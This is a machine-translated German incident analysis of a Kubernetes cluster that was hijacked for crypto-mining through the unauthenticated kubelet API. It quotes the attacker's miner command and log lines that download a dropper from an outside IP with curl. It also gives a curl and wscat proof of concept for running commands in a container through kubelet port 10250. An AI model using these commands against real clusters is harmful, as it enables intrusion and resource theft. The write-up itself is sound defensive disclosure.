
Um nichts über Kubernetes zu wissen, musste man die letzten drei Jahre in einer Höhle leben. Die Handy-Entwicklungsinfrastruktur, CI / CD und Produktion basieren auf dem Kubernetes-Multi-Cluster-Ökosystem. Wir können sagen, dass wir Fans von Kubernetes in Handy sind, weshalb wir so überrascht waren, als der private Cluster Kubernetes unseres Kollegen am vergangenen Wochenende gehackt wurde.
Sie waren überrascht - und freuten sich, weil sie in Kubernetes einen wenig bekannten Fehler entdeckten. In diesem Artikel werden wir untersuchen, wie der Cluster eines Kollegen gehackt wurde und wie wir unsere Ergebnisse bestätigt haben, indem wir diesen Angriff in unserem eigenen Cluster neu erstellt haben. Der Angriff wurde in Kubernetes 1.9 getestet, kann jedoch auf älteren Clustern ausgeführt werden.
HAFTUNGSAUSSCHLUSS : In diesem Artikel geht es um den Personal Server unseres Kollegen. Infrastructure Handy Technologies wurde nicht beeinträchtigt.
Hack
Der defekte Cluster war der einzige Kubernetes-Bereitstellungsknoten, der auf Alpine Linux ausgeführt wurde. Der erste Hacking-Indikator war ein verdächtiger Prozess, der als untergeordneter Prozess des Docker-Daemons ausgeführt wurde:
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
Endpoint Curling gibt den folgenden Text zurück:
Mining Proxy Online
Es scheint, dass jemand einen Weg gefunden hat, Crypto-Mining-Software in einen funktionierenden Container zu packen und den Prozess zu starten.
Bei der Suche nach der udevs- Datei im Docker-Overlay-Verzeichnis für den Container (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) wurde ein Dropper-Skript mit dem Namen "kube.lock" heruntergeladen.
Darüber hinaus ist die MD5-Signatur (a4404be67a41f144ea86a7838f357c26) für das Programm / tmp / udevs auf VirusTotal als wahrscheinlicher Monero Miner definiert:

Wir wissen also, dass der Cracker das Skript kube.lock irgendwie in den Container gestellt und ausgeführt hat. Aber wie?
Der öffentliche Zugriff für den Kubernetes-API-Server war offen, jedoch durch die Zertifikatauthentifizierung geschützt. Zunächst nahmen wir einen Angriff auf die Lieferkette eines der im Cluster arbeitenden Images an. Nachdem wir jedoch die Kubelet-Protokolle untersucht hatten, bemerkten wir etwas:
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
' von der Laufzeit /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
Es sieht so aus, als wäre der Cracker irgendwie Exec Exec in Kubelet. Google hat auf Anfrage "Authentifizierung Kubelet" den Text aus der Kubernetes-Dokumentation herausgegeben:
Standardmäßig werden Anforderungen an den HTTPS-Kubelet-Endpunkt, die von anderen konfigurierten Authentifizierungsmethoden nicht abgelehnt werden, als anonyme Anforderungen mit dem Benutzernamen system: anonym und dem Gruppensystem : nicht authentifiziert behandelt .
Kubelet-Authentifizierung / Autorisierung
Wenn in Kubelet keine Flags angegeben sind, wird standardmäßig der Modus zum Akzeptieren von API-Anforderungen verwendet, die die Authentifizierung nicht bestehen. Beachten Sie, dass der Kubernetes-API-Server Informationen mit kubelet auf den Knoten austauschen muss, damit die Master-> Knotenverbindung funktioniert.
Wie sich herausstellte, hat der Server unseres Kollegen auch die Kubelet-Ports öffentlich zugänglich gemacht (TCP 10250, TCP 10255). Obwohl der Fehler offensichtlich ist, wäre es schön zu überprüfen, wie Ihre eigenen Kubernetes bereitgestellt werden.
Wenn Benutzer Zugriff auf die Knoten haben, ist die Kubelet-API eine voll funktionsfähige Hintertür zum Cluster, der die API-Authentifizierung nicht bestanden hat.
Wenn Sie Probleme beim Aktivieren der Authentifizierung und Autorisierung (Webhook, RBAC usw.) haben, stellen Sie daher sicher, dass das Kubelet geschützt ist.
Es gibt ernsthafte Fragen zur Sicherheit der Kubelet-Kommunikation, und dieses Problem verdient mehr Aufmerksamkeit.
Proof of Concept
Um Befehle direkt an kubelet zu senden, müssen Sie die API wie hier beschrieben verwenden:

Kubelet überwacht zwei Ports: 10255 und 10250. Der erste ist ein schreibgeschützter HTTP-Port und der zweite ist ein HTTPS-Port, der alles kann.
Wählen Sie einen beliebigen Knoten im Cluster aus und versuchen Sie, die Pods aufzulisten:
curl --insecure https://kube-node-here:10250/pods | jq
Die Route für exec , die nicht auf der Kubelet-Seite dokumentiert ist, ähnelt der Route des API-Servers, erfordert jedoch zwei Anforderungen: einen ersten POST und ein nachfolgendes GET mit einem Client, der SPDY unterstützt (oder einem Websocket-Client, der ebenfalls unterstützt wird).
Führen Sie den Befehl in einem laufenden Container über kubelet aus.
Suchen Sie den Knoten, der auf dem Knoten ausgeführt wird, auf den Sie bei der vorherigen Anforderung abzielen möchten. Führen Sie die folgende Abfrage mit curl aus:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"
Dies sollte eine Antwort mit Code 302 zurückgeben, die zum Stream umleitet:
< HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT
Verwenden Sie wscat , um den Stream zu starten:
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected
Da wir gerade touch hello_world
, wird die Datei erstellt und die Verbindung getrennt. Wenn Sie einen Befehl mit Ausgabe ausführen möchten, wird das Ergebnis nach Ausführung des obigen Befehls angezeigt.
Fazit
Obwohl dieses Verhalten mit der Dokumentation übereinstimmt, wissen viele nicht, dass sie ohne die richtige Konfiguration eine Sicherheitslücke in der Mehrbenutzerumgebung von Kubernetes bekommen.
Wir haben eines der Sicherheitsprobleme bei Kubernetes behandelt. Kommentar!
14. März 2018 Patch
Nach eingehender Prüfung scheint es, dass selbst bei aktivierter Kubelet-Authentifizierung dies nur für den HTTPS-Port (10250) gilt. Dies bedeutet, dass der schreibgeschützte HTTP-Port (10255) weiterhin ohne andere Sicherheitsfunktionen als Netzwerk-ACLs geöffnet bleibt.
Der Leseport kann die Herdspezifikationen auf der /pods
Route /pods
, was den Zugriff auf vertrauliche Daten wie Umgebungsvariablen bedeutet.
Noch vor 28 Tagen wurde der Code so geändert, dass ein unsicherer Port standardmäßig deaktiviert wurde.
Original: Analyse eines Kubernetes-Hacks - Backdooring durch Kubelet